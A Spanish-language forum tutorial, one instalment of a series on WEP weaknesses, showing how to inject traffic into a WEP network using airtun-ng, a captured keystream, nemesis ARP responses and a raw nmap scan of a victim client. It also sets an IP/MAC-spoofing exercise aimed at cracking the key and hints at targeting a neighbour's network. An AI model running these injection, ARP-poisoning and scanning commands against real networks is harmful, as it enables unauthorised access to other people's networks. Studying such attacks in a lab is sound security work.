Como esto es un Taller, hay que "trastear", vamos a repasar algunas cuestiones de redes (no exclusivas de las inalámbricas) seguro que mas de uno se sorprende.

Veamos qué pasa en "el destino", en lo que hemos llamado cliente víctima con ip 10.10.10.200, lo primero es ver su caché arp:

Imagen

Como vemos parece que se ha resuelto la dirección 10.10.10.33 (que es nuestra interface tap, at0) la mac es "aleatoria" la genera airtun-ng al "azar".

Ahora vamos a poner un esnifer en la vícitma (10.10.10.200) para ver qué es lo que se recibe.

Imagen

Como puedes ver claramente, se reciben ARP Request (Solicitudes ARP) y se envían ARP Response (las respuestas)

Y cómo es esto?

Pero si estamos enviando ping?

Pues lógico, porque el equipo del atacante tiene que resolver la dirección MAC de la víctima antes de poder encapsular el paquete IP/ICMP, por eso, aunque enviamos ping, la víctima lo que recibe son ARP REQ.

Vamos a solucionarlo.

Si lanzamos airodump (o nos creamos un simple programita para que escuche el tráfico de la red) veremos el/los clientes conectados, bueno veremos sus mac’s, y eso es precisamenbte lo que necesitamos:

Lo haremos con airodump...


  Código:
./airodump-ng -w test -d 00:16:B6:41:03:5d -c 7 eth1


Imagen

Aquí vemos la MAC de nuestra víctima ;)

Ahora vamos a crear una entrada estática en la tabla arp del atacante que relaciona esa mac con la ip correspondiente, así NO TENDRÁ QUE RESOLVERLA!!!! Y los paquetes saldrán directamente sin necesidad de resolverse (bueno, no es verdad del todo, ahora verás por qué!)

Imagen


Volvemos a realizar el mismo ping que antes (observa que ahora ni tan siquiera nos muestra el error de host no encontrado.

Imagen

Veamos que pasó en el esnifer que hemos colocado en la víctima, ahora resulta que no hay ARP REQ por parte del atacante (lógico porque al haber creado una entrada estática ya no necesita resolverlo).

Imagen

También vemos que se reciben los IP/ICMP echo que envía el atacante pero la víctima no envía respuestas (y por tanto no habrá IV's nuevos), es mas, tras varios paquetes ICMP recibidos es la propia víctima quien envía un ARP REQ intentando resolver la MAC-IP del atacante... será infructuoso porque por la interface at0 del atacante no se pueden descifrar los paquetes recibidos y por tanto no habrá un ARP RESPONSE del atacante.

(los paquetes IGMP, ni caso a ellos, son multicast de servicios que el router y(o punto de acceso envía)

Bueno, pues para que todo vaya mejor, lo único que tenemos que hacer es decirle a la víctima cuál es la mac del atacante!!! O sea, enviar ARP RESPONSE, por que enviar, sí que podemos enviar!!!!

Para hacerlo podríamos hechar mano de otro programa creado por nosotros, pero ... como tenemos un keystream (el archivo ping.xor), una interface tap (at0) y airtun-ng funcionando: PODEMOS USAR CUALQUIER PROGRAMA!!!!

Lo haremos con nemesis.... en una shell del atacante hacemos:


  Código:
./nemesis arp -S 10.10.10.33 -D 10.10.10.200 -r -d at0


Es decir enviamos ARP Response (-r) por la interface at0 (-d at0) a la ip de la víctima (-D 10.10.10.200) desde la ip del atacante (-S 10.10.10.33) para que actualice su tabla arp

Enviamos un par de ellos:

Imagen

Veamos que tiene ahora la caché ARP de la víctima y qué es lo que pasa en el esnifer.

Caché de la víctima: Actualizada su tabla arp con la dirección ip del atacante y la mac de la interface tap (at0)

Imagen

En el esnifer: Vemos que "auto-mágicamante" tras recibir esos dos ARP RESPONSE (los paquetes con el punto rojo) que enviamos desde nemesis, ya no intenta resolver la MAC, sencillamente responde al ping que enviamos desde la interface at0. (el conjunto de paquetes de la línea verde)

Imagen

A partir de ahora, ya podemos usar cualquier otra herramienta para enviar tráfico (se supone que mal intencionado :D) hacia el cliente inalámbrico víctima.

Por ejemplo, aunque no sirve de mucho mas que para demostrar lo dicho, vamos a usar nmap para escanear puertos de la vícitima:

Desde una shell del atacante ejecutamos nmap así:


  Código:
nmap -sS -O -p- -P0 -n 10.10.10.200 --send-ip 10.10.10.33 -e at0


* Es muy importante la opción --send-ip puesto que sin ella nmap primero enviará paquetes ARP REQ a la vícitma y fallaría... esta opción nos permite enviar tramas "en bruto" (raw).

Ahora vamos a ver qué pasó en el esnifer de la vícitima:

Imagen

Y como era de esperar, escaneo "al canto", puedes observar que se están probando diferentes puertos (columna puertos) ldap, ftp, smtp, etc..

Lo que el atacante no recibe son las respuestas, bueno, sí que las recibe, pero cifradas y como no tenemos la clave WEP completa no podemos descifrarlos.

También has de recordar que la caché arp es dinámica y que tras un tiempo sin actividad por parte del atacante, la víctima borrará de su tabla esa entrada, habría que repetir la inyección de nemesis que hicimos antes, o mantener "viva" la conexión.

Podemos hacer alguna "jugarreta", por ejemplo podríamos intentar un ip-spoof + mac-spoof desde la interface at0, por ejemplo, te lo pongo como ejercicio:

    * Hacer un escáner de puertos con nmap como el que se ha descrito, sólo que en esta ocasión, la víctima "crea" que el escáner se lo está haciendo el punto de acceso. * Esto tiene una ventaja: Como el punto de acceso y la víctima sí pueden mantener una comnunicación completa (ambos conocen la clave wep) el tráfico irá por las nubes.... puesto que un escáner total de puertos genera un tráfico enorme... * Si en la red por ejemplo hay 10 equipos inalámbricos podemos "jugar" con TODOS a la vez y "simular" que es el punto de acceso quien escanea a TODOS, por lo que el tráfico es muy, muy,muy grande y capturaremos muchíiiisimos IV's. En menos de un minuto tenemos 100 mil IV's :D

En este ejercicio todo ha sido "muy fácil" porque el atacante y la víctima "compartían" la misma red, ambos podían comunicarse entre sí y además, el atacante conocía la IP de la vícitma.

Será posible hacer lo mismo sin "esa ventaja"??

Podríamos hacer esta misma prueba con la red "del vecino" de la cual no conocemos su rango de ip’s y al cual no le podemos enviar un paquete en texto plano por la interface ethernet???

La respuesta en el próximo post. Mejor dicho, la respuesta es SÍ, en el próximo post resolveremos este "inconveniente", haremos un nuevo programa, uno que pueda decodificar CUALQUIER paquete cifrado de CUALQUIER red con protegida con WEP y obtener un keystream válido junto con el rango de direcciones ip’s que usa "el vecino". Dará lo mismo que use DHCP o no, nuestro próximo objetivo será averiguar las IP’s que circulan en una red WEP y obtener keystream sin estar conectados a ella.

Bien, hasta aquí la esta entrega del análisis de vulnerabilidades WEP, pero OJO!!! que todavía esto no ha terminado!!! queda muuuchooo mas....